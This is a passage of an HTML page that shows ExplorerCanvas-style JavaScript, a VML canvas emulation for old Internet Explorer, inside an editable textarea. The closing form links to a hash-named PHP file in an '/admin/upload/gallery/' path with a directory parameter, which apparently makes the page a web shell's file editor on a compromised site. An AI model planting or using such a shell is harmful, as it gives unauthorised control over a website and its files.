            lineStr.push(&#039; &#039;, p.type, &#039; &#039;,
                         mr(p.x - this.arcScaleX_ * p.radius), &#039;,&#039;,
                         mr(p.y - this.arcScaleY_ * p.radius), &#039; &#039;,
                         mr(p.x + this.arcScaleX_ * p.radius), &#039;,&#039;,
                         mr(p.y + this.arcScaleY_ * p.radius), &#039; &#039;,
                         mr(p.xStart), &#039;,&#039;, mr(p.yStart), &#039; &#039;,
                         mr(p.xEnd), &#039;,&#039;, mr(p.yEnd));
            break;
        }
  
  
        // TODO: Following is broken for curves due to
        //       move to proper paths.
  
        // Figure out dimensions so we can do gradient fills
        // properly
        if (p) {
          if (min.x == null || p.x &lt; min.x) {
            min.x = p.x;
          }
          if (max.x == null || p.x &gt; max.x) {
            max.x = p.x;
          }
          if (min.y == null || p.y &lt; min.y) {
            min.y = p.y;
          }
          if (max.y == null || p.y &gt; max.y) {
            max.y = p.y;
          }
        }
      }
      lineStr.push(&#039; &quot;&gt;&#039;);
  
      if (!aFill) {
        appendStroke(this, lineStr);
      } else {
        appendFill(this, lineStr, min, max);
      }
  
      lineStr.push(&#039;&lt;/g_vml_:shape&gt;&#039;);
  
      this.element_.insertAdjacentHTML(&#039;beforeEnd&#039;, lineStr.join(&#039;&#039;));
    }
  };

  function appendStroke(ctx, lineStr) {
    var a = processStyle(ctx.strokeStyle);
    var color = a.color;
    var opacity = a.alpha * ctx.globalAlpha;
    var lineWidth = ctx.lineScale_ * ctx.lineWidth;

    // VML cannot correctly render a line if the width is less than 1px.
    // In that case, we dilute the color to make the line look thinner.
    if (lineWidth &lt; 1) {
      opacity *= lineWidth;
    }

    lineStr.push(
      &#039;&lt;g_vml_:stroke&#039;,
      &#039; opacity=&quot;&#039;, opacity, &#039;&quot;&#039;,
      &#039; joinstyle=&quot;&#039;, ctx.lineJoin, &#039;&quot;&#039;,
      &#039; miterlimit=&quot;&#039;, ctx.miterLimit, &#039;&quot;&#039;,
      &#039; endcap=&quot;&#039;, processLineCap(ctx.lineCap), &#039;&quot;&#039;,
      &#039; weight=&quot;&#039;, lineWidth, &#039;px&quot;&#039;,
      &#039; color=&quot;&#039;, color, &#039;&quot; /&gt;&#039;
    );
  }

  function appendFill(ctx, lineStr, min, max) {
    var fillStyle = ctx.fillStyle;
    var arcScaleX = ctx.arcScaleX_;
    var arcScaleY = ctx.arcScaleY_;
    var width = max.x - min.x;
    var height = max.y - min.y;
    if (fillStyle instanceof CanvasGradient_) {
      // TODO: Gradients transformed with the transformation matrix.
      var angle = 0;
      var focus = {x: 0, y: 0};

      // additional offset
      var shift = 0;
      // scale factor for offset
      var expansion = 1;

      if (fillStyle.type_ == &#039;gradient&#039;) {
        var x0 = fillStyle.x0_ / arcScaleX;
        var y0 = fillStyle.y0_ / arcScaleY;
        var x1 = fillStyle.x1_ / arcScaleX;
        var y1 = fillStyle.y1_ / arcScaleY;
        var p0 = getCoords(ctx, x0, y0);
        var p1 = getCoords(ctx, x1, y1);
        var dx = p1.x - p0.x;
        var dy = p1.y - p0.y;
        angle = Math.atan2(dx, dy) * 180 / Math.PI;

        // The angle should be a non-negative number.
        if (angle &lt; 0) {
          angle += 360;
        }

        // Very small angles produce an unexpected result because they are
        // converted to a scientific notation string.
        if (angle &lt; 1e-6) {
          angle = 0;
        }
      } else {
        var p0 = getCoords(ctx, fillStyle.x0_, fillStyle.y0_);
        focus = {
          x: (p0.x - min.x) / width,
          y: (p0.y - min.y) / height
        };

        width  /= arcScaleX * Z;
        height /= arcScaleY * Z;
        var dimension = m.max(width, height);
        shift = 2 * fillStyle.r0_ / dimension;
        expansion = 2 * fillStyle.r1_ / dimension - shift;
      }

      // We need to sort the color stops in ascending order by offset,
      // otherwise IE won&#039;t interpret it correctly.
      var stops = fillStyle.colors_;
      stops.sort(function(cs1, cs2) {
        return cs1.offset - cs2.offset;
      });

      var length = stops.length;
      var color1 = stops[0].color;
      var color2 = stops[length - 1].color;
      var opacity1 = stops[0].alpha * ctx.globalAlpha;
      var opacity2 = stops[length - 1].alpha * ctx.globalAlpha;

      var colors = [];
      for (var i = 0; i &lt; length; i++) {
        var stop = stops[i];
        colors.push(stop.offset * expansion + shift + &#039; &#039; + stop.color);
      }

      // When colors attribute is used, the meanings of opacity and o:opacity2
      // are reversed.
      lineStr.push(&#039;&lt;g_vml_:fill type=&quot;&#039;, fillStyle.type_, &#039;&quot;&#039;,
                   &#039; method=&quot;none&quot; focus=&quot;100%&quot;&#039;,
                   &#039; color=&quot;&#039;, color1, &#039;&quot;&#039;,
                   &#039; color2=&quot;&#039;, color2, &#039;&quot;&#039;,
                   &#039; colors=&quot;&#039;, colors.join(&#039;,&#039;), &#039;&quot;&#039;,
                   &#039; opacity=&quot;&#039;, opacity2, &#039;&quot;&#039;,
                   &#039; g_o_:opacity2=&quot;&#039;, opacity1, &#039;&quot;&#039;,
                   &#039; angle=&quot;&#039;, angle, &#039;&quot;&#039;,
                   &#039; focusposition=&quot;&#039;, focus.x, &#039;,&#039;, focus.y, &#039;&quot; /&gt;&#039;);
    } else if (fillStyle instanceof CanvasPattern_) {
      if (width &amp;&amp; height) {
        var deltaLeft = -min.x;
        var deltaTop = -min.y;
        lineStr.push(&#039;&lt;g_vml_:fill&#039;,
                     &#039; position=&quot;&#039;,
                     deltaLeft / width * arcScaleX * arcScaleX, &#039;,&#039;,
                     deltaTop / height * arcScaleY * arcScaleY, &#039;&quot;&#039;,
                     &#039; type=&quot;tile&quot;&#039;,
                     // TODO: Figure out the correct size to fit the scale.
                     //&#039; size=&quot;&#039;, w, &#039;px &#039;, h, &#039;px&quot;&#039;,
                     &#039; src=&quot;&#039;, fillStyle.src_, &#039;&quot; /&gt;&#039;);
       }
    } else {
      var a = processStyle(ctx.fillStyle);
      var color = a.color;
      var opacity = a.alpha * ctx.globalAlpha;
      lineStr.push(&#039;&lt;g_vml_:fill color=&quot;&#039;, color, &#039;&quot; opacity=&quot;&#039;, opacity,
                   &#039;&quot; /&gt;&#039;);
    }
  }

  contextPrototype.fill = function() {
    this.stroke(true);
  };

  contextPrototype.closePath = function() {
    this.currentPath_.push({type: &#039;close&#039;});
  };

  function getCoords(ctx, aX, aY) {
    var m = ctx.m_;
    return {
      x: Z * (aX * m[0][0] + aY * m[1][0] + m[2][0]) - Z2,
      y: Z * (aX * m[0][1] + aY * m[1][1] + m[2][1]) - Z2
    };
  };

  contextPrototype.save = function() {
    var o = {};
    copyState(this, o);
    this.aStack_.push(o);
    this.mStack_.push(this.m_);
    this.m_ = matrixMultiply(createMatrixIdentity(), this.m_);
  };

  contextPrototype.restore = function() {
    if (this.aStack_.length) {
      copyState(this.aStack_.pop(), this);
      this.m_ = this.mStack_.pop();
    }
  };

  function matrixIsFinite(m) {
    return isFinite(m[0][0]) &amp;&amp; isFinite(m[0][1]) &amp;&amp;
        isFinite(m[1][0]) &amp;&amp; isFinite(m[1][1]) &amp;&amp;
        isFinite(m[2][0]) &amp;&amp; isFinite(m[2][1]);
  }

  function setM(ctx, m, updateLineScale) {
    if (!matrixIsFinite(m)) {
      return;
    }
    ctx.m_ = m;

    if (updateLineScale) {
      // Get the line scale.
      // Determinant of this.m_ means how much the area is enlarged by the
      // transformation. So its square root can be used as a scale factor
      // for width.
      var det = m[0][0] * m[1][1] - m[0][1] * m[1][0];
      ctx.lineScale_ = sqrt(abs(det));
    }
  }

  contextPrototype.translate = function(aX, aY) {
    var m1 = [
      [1,  0,  0],
      [0,  1,  0],
      [aX, aY, 1]
    ];

    setM(this, matrixMultiply(m1, this.m_), false);
  };

  contextPrototype.rotate = function(aRot) {
    var c = mc(aRot);
    var s = ms(aRot);

    var m1 = [
      [c,  s, 0],
      [-s, c, 0],
      [0,  0, 1]
    ];

    setM(this, matrixMultiply(m1, this.m_), false);
  };

  contextPrototype.scale = function(aX, aY) {
    this.arcScaleX_ *= aX;
    this.arcScaleY_ *= aY;
    var m1 = [
      [aX, 0,  0],
      [0,  aY, 0],
      [0,  0,  1]
    ];

    setM(this, matrixMultiply(m1, this.m_), true);
  };

  contextPrototype.transform = function(m11, m12, m21, m22, dx, dy) {
    var m1 = [
      [m11, m12, 0],
      [m21, m22, 0],
      [dx,  dy,  1]
    ];

    setM(this, matrixMultiply(m1, this.m_), true);
  };

  contextPrototype.setTransform = function(m11, m12, m21, m22, dx, dy) {
    var m = [
      [m11, m12, 0],
      [m21, m22, 0],
      [dx,  dy,  1]
    ];

    setM(this, m, true);
  };

  /**
   * The text drawing function.
   * The maxWidth argument isn&#039;t taken in account, since no browser supports
   * it yet.
   */
  contextPrototype.drawText_ = function(text, x, y, maxWidth, stroke) {
    var m = this.m_,
        delta = 1000,
        left = 0,
        right = delta,
        offset = {x: 0, y: 0},
        lineStr = [];

    var fontStyle = getComputedStyle(processFontStyle(this.font),
                                     this.element_);

    var fontStyleString = buildStyle(fontStyle);

    var elementStyle = this.element_.currentStyle;
    var textAlign = this.textAlign.toLowerCase();
    switch (textAlign) {
      case &#039;left&#039;:
      case &#039;center&#039;:
      case &#039;right&#039;:
        break;
      case &#039;end&#039;:
        textAlign = elementStyle.direction == &#039;ltr&#039; ? &#039;right&#039; : &#039;left&#039;;
        break;
      case &#039;start&#039;:
        textAlign = elementStyle.direction == &#039;rtl&#039; ? &#039;right&#039; : &#039;left&#039;;
        break;
      default:
        textAlign = &#039;left&#039;;
    }

    // 1.75 is an arbitrary number, as there is no info about the text baseline
    switch (this.textBaseline) {
      case &#039;hanging&#039;:
      case &#039;top&#039;:
        offset.y = fontStyle.size / 1.75;
        break;
      case &#039;middle&#039;:
        break;
      default:
      case null:
      case &#039;alphabetic&#039;:
      case &#039;ideographic&#039;:
      case &#039;bottom&#039;:
        offset.y = -fontStyle.size / 2.25;
        break;
    }

    switch(textAlign) {
      case &#039;right&#039;:
        left = delta;
        right = 0.05;
        break;
      case &#039;center&#039;:
        left = right = delta / 2;
        break;
    }

    var d = getCoords(this, x + offset.x, y + offset.y);

    lineStr.push(&#039;&lt;g_vml_:line from=&quot;&#039;, -left ,&#039; 0&quot; to=&quot;&#039;, right ,&#039; 0.05&quot; &#039;,
                 &#039; coordsize=&quot;100 100&quot; coordorigin=&quot;0 0&quot;&#039;,
                 &#039; filled=&quot;&#039;, !stroke, &#039;&quot; stroked=&quot;&#039;, !!stroke,
                 &#039;&quot; style=&quot;position:absolute;width:1px;height:1px;&quot;&gt;&#039;);

    if (stroke) {
      appendStroke(this, lineStr);
    } else {
      // TODO: Fix the min and max params.
      appendFill(this, lineStr, {x: -left, y: 0},
                 {x: right, y: fontStyle.size});
    }

    var skewM = m[0][0].toFixed(3) + &#039;,&#039; + m[1][0].toFixed(3) + &#039;,&#039; +
                m[0][1].toFixed(3) + &#039;,&#039; + m[1][1].toFixed(3) + &#039;,0,0&#039;;

    var skewOffset = mr(d.x / Z) + &#039;,&#039; + mr(d.y / Z);

    lineStr.push(&#039;&lt;g_vml_:skew on=&quot;t&quot; matrix=&quot;&#039;, skewM ,&#039;&quot; &#039;,
                 &#039; offset=&quot;&#039;, skewOffset, &#039;&quot; origin=&quot;&#039;, left ,&#039; 0&quot; /&gt;&#039;,
                 &#039;&lt;g_vml_:path textpathok=&quot;true&quot; /&gt;&#039;,
                 &#039;&lt;g_vml_:textpath on=&quot;true&quot; string=&quot;&#039;,
                 encodeHtmlAttribute(text),
                 &#039;&quot; style=&quot;v-text-align:&#039;, textAlign,
                 &#039;;font:&#039;, encodeHtmlAttribute(fontStyleString),
                 &#039;&quot; /&gt;&lt;/g_vml_:line&gt;&#039;);

    this.element_.insertAdjacentHTML(&#039;beforeEnd&#039;, lineStr.join(&#039;&#039;));
  };

  contextPrototype.fillText = function(text, x, y, maxWidth) {
    this.drawText_(text, x, y, maxWidth, false);
  };

  contextPrototype.strokeText = function(text, x, y, maxWidth) {
    this.drawText_(text, x, y, maxWidth, true);
  };

  contextPrototype.measureText = function(text) {
    if (!this.textMeasureEl_) {
      var s = &#039;&lt;span style=&quot;position:absolute;&#039; +
          &#039;top:-20000px;left:0;padding:0;margin:0;border:none;&#039; +
          &#039;white-space:pre;&quot;&gt;&lt;/span&gt;&#039;;
      this.element_.insertAdjacentHTML(&#039;beforeEnd&#039;, s);
      this.textMeasureEl_ = this.element_.lastChild;
    }
    var doc = this.element_.ownerDocument;
    this.textMeasureEl_.innerHTML = &#039;&#039;;
    this.textMeasureEl_.style.font = this.font;
    // Don&#039;t use innerHTML or innerText because they allow markup/whitespace.
    this.textMeasureEl_.appendChild(doc.createTextNode(text));
    return {width: this.textMeasureEl_.offsetWidth};
  };

  /******** STUBS ********/
  contextPrototype.clip = function() {
    // TODO: Implement
  };

  contextPrototype.arcTo = function() {
    // TODO: Implement
  };

  contextPrototype.createPattern = function(image, repetition) {
    return new CanvasPattern_(image, repetition);
  };

  // Gradient / Pattern Stubs
  function CanvasGradient_(aType) {
    this.type_ = aType;
    this.x0_ = 0;
    this.y0_ = 0;
    this.r0_ = 0;
    this.x1_ = 0;
    this.y1_ = 0;
    this.r1_ = 0;
    this.colors_ = [];
  }

  CanvasGradient_.prototype.addColorStop = function(aOffset, aColor) {
    aColor = processStyle(aColor);
    this.colors_.push({offset: aOffset,
                       color: aColor.color,
                       alpha: aColor.alpha});
  };

  function CanvasPattern_(image, repetition) {
    assertImageIsValid(image);
    switch (repetition) {
      case &#039;repeat&#039;:
      case null:
      case &#039;&#039;:
        this.repetition_ = &#039;repeat&#039;;
        break
      case &#039;repeat-x&#039;:
      case &#039;repeat-y&#039;:
      case &#039;no-repeat&#039;:
        this.repetition_ = repetition;
        break;
      default:
        throwException(&#039;SYNTAX_ERR&#039;);
    }

    this.src_ = image.src;
    this.width_ = image.width;
    this.height_ = image.height;
  }

  function throwException(s) {
    throw new DOMException_(s);
  }

  function assertImageIsValid(img) {
    if (!img || img.nodeType != 1 || img.tagName != &#039;IMG&#039;) {
      throwException(&#039;TYPE_MISMATCH_ERR&#039;);
    }
    if (img.readyState != &#039;complete&#039;) {
      throwException(&#039;INVALID_STATE_ERR&#039;);
    }
  }

  function DOMException_(s) {
    this.code = this[s];
    this.message = s +&#039;: DOM Exception &#039; + this.code;
  }
  var p = DOMException_.prototype = new Error;
  p.INDEX_SIZE_ERR = 1;
  p.DOMSTRING_SIZE_ERR = 2;
  p.HIERARCHY_REQUEST_ERR = 3;
  p.WRONG_DOCUMENT_ERR = 4;
  p.INVALID_CHARACTER_ERR = 5;
  p.NO_DATA_ALLOWED_ERR = 6;
  p.NO_MODIFICATION_ALLOWED_ERR = 7;
  p.NOT_FOUND_ERR = 8;
  p.NOT_SUPPORTED_ERR = 9;
  p.INUSE_ATTRIBUTE_ERR = 10;
  p.INVALID_STATE_ERR = 11;
  p.SYNTAX_ERR = 12;
  p.INVALID_MODIFICATION_ERR = 13;
  p.NAMESPACE_ERR = 14;
  p.INVALID_ACCESS_ERR = 15;
  p.VALIDATION_ERR = 16;
  p.TYPE_MISMATCH_ERR = 17;

  // set up externs
  G_vmlCanvasManager = G_vmlCanvasManager_;
  CanvasRenderingContext2D = CanvasRenderingContext2D_;
  CanvasGradient = CanvasGradient_;
  CanvasPattern = CanvasPattern_;
  DOMException = DOMException_;
})();

} // if
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/admin/upload/gallery/c067e7a1bfea76618615016f6d3c9aff.php?dir=." class="btn gray">Kembali</a>
              </form>